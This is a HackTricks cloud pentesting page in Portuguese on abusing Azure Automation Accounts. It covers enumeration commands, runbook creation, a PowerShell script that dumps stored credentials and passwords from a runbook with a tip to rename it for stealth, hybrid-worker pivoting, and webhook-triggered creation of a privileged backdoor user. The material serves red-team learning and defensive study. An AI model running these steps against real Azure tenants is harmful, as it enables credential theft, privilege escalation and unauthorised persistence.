Az - Automation Account

Support HackTricks

Informações Básicas

Dos documentos: O Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos.

Esses são como "tarefas agendadas" no Azure que permitem que você execute coisas (ações ou até mesmo scripts) para gerenciar, verificar e configurar o ambiente Azure.

Conta Run As

Quando a Conta Run as é usada, ela cria um aplicativo Azure AD com certificado autoassinado, cria um principal de serviço e atribui o papel de Contribuidor para a conta na assinatura atual (muitos privilégios). A Microsoft recomenda o uso de uma Identidade Gerenciada para a Conta de Automação.

Isso será removido em 30 de setembro de 2023 e alterado para Identidades Gerenciadas.

Runbooks & Jobs

Runbooks permitem que você execute código PowerShell arbitrário. Isso pode ser abusado por um atacante para roubar as permissões do principal anexado (se houver). No código dos Runbooks, você também pode encontrar informações sensíveis (como credenciais).

Se você puder ler os jobs, faça isso, pois eles contêm a saída da execução (potencial informação sensível).

Vá para Contas de Automação --> <Selecionar Conta de Automação> --> Runbooks/Jobs/Grupos de trabalhadores híbridos/Tarefas de observador/credenciais/variáveis/certificados/conexões

Trabalhador Híbrido

Um Runbook pode ser executado em um container dentro do Azure ou em um Trabalhador Híbrido (máquina não-Azure). O Agente de Log Analytics é implantado na VM para registrá-la como um trabalhador híbrido. Os jobs do trabalhador híbrido são executados como SYSTEM no Windows e como conta nxautomation no Linux. Cada Trabalhador Híbrido é registrado em um Grupo de Trabalhadores Híbridos.

Portanto, se você puder escolher executar um Runbook em um Trabalhador Híbrido Windows, você executará comandos arbitrários dentro de uma máquina externa como System (boa técnica de pivotagem).

Comprometimento da Configuração de Estado (SC)

Dos documentos: A Configuração de Estado do Azure Automation é um serviço de gerenciamento de configuração do Azure que permite que você escreva, gerencie e compile configurações de PowerShell Desired State Configuration (DSC) configurações para nós em qualquer nuvem ou datacenter local. O serviço também importa Recursos DSC e atribui configurações a nós-alvo, tudo na nuvem. Você pode acessar a Configuração de Estado do Azure Automation no portal do Azure selecionando Configuração de estado (DSC) em Gerenciamento de Configuração.

Informações sensíveis podem ser encontradas nessas configurações.

RCE

É possível abusar do SC para executar scripts arbitrários nas máquinas gerenciadas.

Az - State Configuration RCE

Enumeração

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Criar um Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Exfiltrar Credenciais e Variáveis definidas em uma Conta de Automação usando um Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Você pode fazer a mesma coisa modificando um Run Book existente, e a partir do console da web.

Passos para Configurar a Criação Automática de Usuário com Altos Privilégios

1. Inicializar uma Conta de Automação

  • Ação Necessária: Criar uma nova Conta de Automação.

  • Configuração Específica: Certifique-se de que "Criar conta Azure Run As" esteja habilitado.

2. Importar e Configurar Runbook

  • Fonte: Baixe o runbook de exemplo do Repositório GitHub MicroBurst.

  • Ações Necessárias:

  • Importe o runbook na Conta de Automação.

  • Publique o runbook para torná-lo executável.

  • Anexe um webhook ao runbook, habilitando gatilhos externos.

3. Configurar o Módulo AzureAD

  • Ação Necessária: Adicione o módulo AzureAD à Conta de Automação.

  • Passo Adicional: Certifique-se de que todos os Módulos de Automação do Azure estejam atualizados para suas versões mais recentes.

4. Atribuição de Permissões

  • Funções a Atribuir:

  • Administrador de Usuários

  • Proprietário da Assinatura

  • Alvo: Atribua essas funções à Conta de Automação para os privilégios necessários.

5. Consciência da Potencial Perda de Acesso

  • Nota: Esteja ciente de que configurar tal automação pode levar à perda de controle sobre a assinatura.

6. Acionar Criação de Usuário

  • Acione o webhook para criar um novo usuário enviando uma solicitação POST.

  • Use o script PowerShell fornecido, garantindo substituir o $uri pela sua URL de webhook real e atualizar o $AccountInfo com o nome de usuário e senha desejados.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referências

Support HackTricks

Last updated